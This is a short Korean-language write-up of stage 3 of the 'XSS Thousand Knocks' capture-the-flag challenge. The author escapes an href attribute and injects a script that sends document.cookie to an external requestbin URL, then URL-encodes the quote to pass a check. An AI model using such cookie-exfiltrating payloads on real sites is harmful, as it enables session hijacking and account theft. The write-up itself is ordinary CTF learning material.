XSS Thousand Knocks Stage3 write up
수천 번의 노크 XSS 단계 3번 write up
링크를 접속하니 Link라는 href가 하나 있고, 접속을 하면 기존과 같게 접속이 된다.
이거 xss game 5번에서 비슷한 문제를 풀어보았기에 비슷하게 하면 된다고 생각을 했음.
?q=' ' 2번과 같이 넣어놓고 link를 누르면 되는거같다!!!
근데 자꾸 404 not found | nginx로 간다... 음 nginx?
** nginx : 아파치 같은 웹서버인듯하다. 한국에서 27%의 점유율을 가지고 있고, 아파치 보다 더 적은 자원으로 더 빠르게 데이터를 서비스 할 수 있는 웹 서버 소프트웨어이다.
페이지 소스 보기를 하면 <a href="/q=XSS">Link</a> 이렇게 있음을 보게 된다. 그럼 href에서 빠져나와 내가 원하는 스크립트를 실행시키게 해야 되는것같다.
http://68e3b596ebf790e8a781b8d87b84af7eb7b0aeb3.knock.xss.moe/?q="><script>location.href='http://requestbin.fullcontact.com/181sw2j1?a='%2Bdocument.cookie</script>
이렇게 해서 창에서는 되었다! ok가 떴습니다.
그런데 Stage에 넣으면 fail csrf check이 또 떴다. 아까도 html encoding으로 '을 바꿔주면 되는것같다.
'는 %27이다. 이걸 적용해서
http://68e3b596ebf790e8a781b8d87b84af7eb7b0aeb3.knock.xss.moe/?q="><script>location.href=%27http://requestbin.fullcontact.com/181sw2j1?a=%27%2Bdocument.cookie</script>
이렇게 넣으면 성공